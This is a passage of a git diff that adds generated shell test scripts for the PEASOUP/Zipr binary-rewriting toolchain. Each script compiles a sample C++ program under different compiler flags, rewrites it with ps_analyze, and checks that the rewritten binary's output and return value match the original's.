+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..9559cd6332b0796dad131809594158636fe1e380
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0394e71833a2cb690104523d3e2442b56083b966
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..c57604bee14471ab751b82dd94043a5f6ac1d38b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b41d35426b58b318d8c6969d11fd50bbefe2caab
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4f6b538a9fbd5bbc716d4bb6a4f0be71df9f17aa
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..82b0823db6d987e00b16fde406bee0060029a61b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
